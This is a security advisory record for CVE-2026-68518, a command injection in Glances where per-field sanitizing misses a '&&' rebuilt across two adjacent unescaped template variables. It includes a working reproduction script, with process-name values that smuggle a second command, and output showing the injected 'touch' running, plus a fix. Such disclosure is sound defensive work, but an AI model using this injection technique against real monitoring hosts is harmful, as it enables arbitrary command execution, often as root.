{"id":"CVE-2026-68518","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-68518","summary":"Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction","details":"### Summary\n\nThe Glances action system lets an administrator configure shell commands that run\nwhen a monitoring threshold is crossed. The command is a Mustache template whose\nvariables are filled with runtime stat fields such as a process name, a container\nname or a filesystem mount point. Those fields are attacker-influenceable: a\nlocal, unprivileged user who starts a process (or a container) controls its name\nand command line. The rendered command is executed by `secure_popen()`, which\ninterprets `&&`, `|` and `>` as chaining / pipe / redirection operators.\n\n`glances/actions.py` defends against this with `_sanitize_mustache_dict()`, which\nstrips those operators from **each individual** template value before rendering.\nThe sanitization is applied per field, but the operators are reconstructed\n**across the boundary of two adjacent template variables** after Mustache\nrendering. When an action template concatenates two unescaped variables\n(`{{{a}}}{{{b}}}` or `{{&a}}{{&b}}`) and the attacker makes the first value end\nwith `&` and the second begin with `&`, the rendered command contains a real\n`&&`, and `secure_popen()` executes the injected command. The single-`&` in each\nvalue passes the per-field filter untouched.\n\n### Affected versions\n\n`glances` `<= 4.5.5` (verified against the published PyPI release `4.5.5`, the\nlatest at the time of writing; `glances.__version__ == \"4.5.5\"`). The\nper-field sanitizer `_sanitize_mustache_dict()` is present and active in this\nrelease. Not patched in any released version.\n\n### Privilege required\n\nTwo roles are involved:\n\n- A local, unprivileged user (or a container the attacker can name) supplies the\n  attacker-controlled stat values (process/container name, mount point, etc.).\n  This is the same trust boundary the action-template command-injection class\n  already recognises: the attacker controls the process name, not the\n  configuration.\n- An administrator has configured an action whose command template concatenates\n  two **unescaped** Mustache variables with no separating character\n  (`{{{name}}}{{{cmdline}}}`). Unescaped Mustache (`{{{ }}}` / `{{& }}`) is a\n  documented Chevron feature and is the natural choice when the operator wants a\n  value that contains shell-significant characters to reach the command verbatim.\n\nNo network access to the target host is required beyond the ability to run a\nprocess (or start a named container) on it.\n\n### Vulnerable code (file:line)\n\n`glances/actions.py:25-46` — the per-field sanitizer:\n\n```python\n# glances/actions.py:25\n_SHELL_OPERATORS = ('&&', '|', '>>', '>')\n\ndef _sanitize_mustache_dict(mustache_dict):\n    \"\"\"Return a copy of mustache_dict with shell operators replaced by spaces.\"\"\"\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            for op in _SHELL_OPERATORS:\n                v = v.replace(op, ' ')          # per-field only\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\n`glances/actions.py:100-111` — sanitize-then-render-then-execute:\n\n```python\n# glances/actions.py:100\nfor cmd in commands:\n    if chevron_tag:\n        safe_dict = _sanitize_mustache_dict(mustache_dict)\n        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here\n    else:\n        cmd_full = cmd\n    ret = secure_popen(cmd_full)                    # operators interpreted\n```\n\n### Root cause\n\n`_sanitize_mustache_dict()` removes `&&`, `|`, `>>`, `>` from each value in\nisolation. It does not remove a lone `&`, because a single `&` is not one of the\nlisted operators. When two values are rendered next to each other by\n`chevron.render()`, a trailing `&` from the first value and a leading `&` from the\nsecond value join into a literal `&&` in `cmd_full`. `secure_popen()` then\n`cmd.split('&&')` and runs the second half as a separate `subprocess.Popen`\n(`shell=False`) process. The same reconstruction works for `>` written as two\nadjacent `>` characters split across the boundary (`...>` + `>...` and the\n`>>`/`>` stripping is per field), and the sanitizer's own choice to sanitize\nbefore, rather than after, rendering is the defect.\n\nThis is an incomplete fix of the action-template command-injection issue\n(CVE-2026-32608 / GHSA-vcv2-q258-wrg7): `_sanitize_mustache_dict()` closes the\nsingle-field case but not the cross-field-reconstruction case. The correct place\nto enforce the operator ban is on the fully rendered command string (or by never\nletting template-variable data introduce operators), not on the pre-render values\none at a time.\n\nChevron HTML-escapes `&`, `<`, `>`, `\"` inside standard double-brace `{{ }}`\nsections, so double-brace templates neutralise the `&&` reconstruction. The\nreconstruction is reachable specifically through **unescaped** variables\n(`{{{ }}}` / `{{& }}`), which is why the per-field sanitizer is the sole\nremaining control on that path.\n\n### Reachability / How input reaches sink\n\n1. A local unprivileged user starts a process (or a container) whose `name`\n   ends with `&` and whose `cmdline` begins with `& <command>` (both are stored\n   verbatim in the plugin stat item).\n2. When the plugin crosses a `warning` / `critical` threshold,\n   `glances/plugins/plugin/model.py` calls `self.actions.run` with the full stat\n   item passed as the `mustache_dict` argument.\n3. `GlancesActions.run` sanitizes each value with `_sanitize_mustache_dict()`\n   (each keeps its single `&`), then `chevron.render()` concatenates the two\n   adjacent unescaped variables, producing a literal `&&` in the command string.\n4. `secure_popen(cmd_full)` splits on `&&` and runs the attacker's segment as a\n   separate `subprocess.Popen(shell=False)` process.\n\nThe trust boundary crossed is process-name / container-name → shell operator,\nexactly the boundary the sanitizer was introduced to close.\n\n### Reproduction (end-to-end, against pinned version `glances==4.5.5`)\n\n```bash\n# 1. Install the latest published release into a clean venv\npython3.13 -m venv gv\n./gv/bin/pip install \"glances==4.5.5\"\n\n# 2. Run the reproducer, which drives the real\n#    glances.actions.GlancesActions.run() pipeline exactly as\n#    glances/plugins/plugin/model.py invokes it on an alert.\n./gv/bin/python repro.py\n```\n\n`repro.py`:\n\n```python\nimport os, sys, time\nsys.argv = ['glances']\nfrom glances.actions import GlancesActions\n\nMARK = \"/tmp/glances_crossfield_pwned\"\nNEG  = MARK + \"_neg\"\nfor f in (MARK, NEG):\n    try: os.remove(f)\n    except FileNotFoundError: pass\n\nclass Args:\n    time = 0\nga = GlancesActions(args=Args())\n\n# A processlist stat item; a local low-privilege user controls both 'name' and\n# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).\n# 'name' ends with '&', 'cmdline' begins with '&'  ->  '&&' forms across the boundary.\nitem = {'name': 'evilproc&', 'cmdline': '& touch %s' % MARK,\n        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}\n\n# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are\n# neutralised by chevron HTML-escaping '&' -> '&amp;'.\nneg_item = dict(item); neg_item['cmdline'] = '& touch %s' % NEG\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl\", \"CRITICAL\", [\"logger p={{name}}{{cmdline}}\"], repeat=True, mustache_dict=neg_item)\ntime.sleep(0.3)\nprint(\"NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):\",\n      \"INJECTED\" if os.path.exists(NEG) else \"blocked (expected)\")\n\n# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field\n# _sanitize_mustache_dict leaves each single '&'; the '&&' operator is\n# reconstructed after chevron.render, then split by secure_popen.\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl2\", \"CRITICAL\", [\"logger p={{{name}}}{{{cmdline}}}\"], repeat=True, mustache_dict=item)\ntime.sleep(0.5)\nprint(\"POSITIVE (unescaped {{{name}}}{{{cmdline}}}):\",\n      \"INJECTED - 'touch' executed\" if os.path.exists(MARK) else \"blocked\")\n```\n\nCaptured output (`glances` 4.5.5, Python 3.13, x86_64 Linux):\n\n```\nNEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)\nPOSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed\n```\n\nThe negative control confirms that the same attacker values under a standard\ndouble-brace template are blocked (chevron escapes `&`). The positive case shows\nthe injected `touch` executing when the template uses two adjacent unescaped\nvariables: the file `/tmp/glances_crossfield_pwned` is created by the injected\ncommand, not by the intended `logger` action.\n\n### Impact\n\n- Arbitrary command execution as the OS user running Glances (frequently root on\n  monitored hosts) whenever an operator uses an unescaped, adjacent-variable\n  action template and an attacker controls two neighbouring stat fields.\n- The same reconstruction reaches `secure_popen()`'s file-redirection (`>`) and\n  pipe (`|`) handling, allowing arbitrary file write and output piping in\n  addition to command chaining.\n- The bypass defeats the dedicated `_sanitize_mustache_dict()` control that was\n  added specifically to stop attacker-controlled stat values from injecting shell\n  operators.\n\n### Suggested fix\n\nEnforce the operator ban on the **rendered** command string that comes from\ntemplate-variable expansion, rather than on the pre-render values in isolation.\nOne approach that mirrors the existing helper: render each variable, then reject /\nneutralise operators in the concatenated result, or strip lone `&`/redirection\ncharacters that originate from variable data.\n\n```python\ndef _sanitize_mustache_dict(mustache_dict):\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            # Neutralise every shell-significant character that secure_popen\n            # can interpret, including a lone '&' that could pair with an\n            # adjacent variable to reconstruct '&&'.\n            for ch in ('&', '|', '>', '<'):\n                v = v.replace(ch, ' ')\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\nNeutralising the single `&` (and the single `>` / `|`) in each value removes the\ncross-field reconstruction because no operator character survives on either side\nof a variable boundary. Alternatively, sanitize `cmd_full` after\n`chevron.render()`, or pass the template-derived data as `secure_popen(...,\nallow_operators=False)` when the command originates from stat-field substitution.\n\n### Credit\n\nReported by tonghuaroot.","published":"2026-08-17T16:36:37Z","modified":"2026-08-17T16:45:08.343955190Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"glances","fixedVersion":"4.5.6"}],"fix":{"url":"https://github.com/nicolargo/glances/commit/9c280eae5419da680827024b60f6265956e31994","label":"nicolargo/glances@9c280ea"},"references":[{"type":"WEB","url":"https://github.com/nicolargo/glances/security/advisories/GHSA-qcpp-8x79-hhp3"},{"type":"WEB","url":"https://github.com/nicolargo/glances/commit/9c280eae5419da680827024b60f6265956e31994"},{"type":"PACKAGE","url":"https://github.com/nicolargo/glances"},{"type":"WEB","url":"https://github.com/nicolargo/glances/releases/tag/v4.5.6"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-17T16:45:08.343955190Z"}}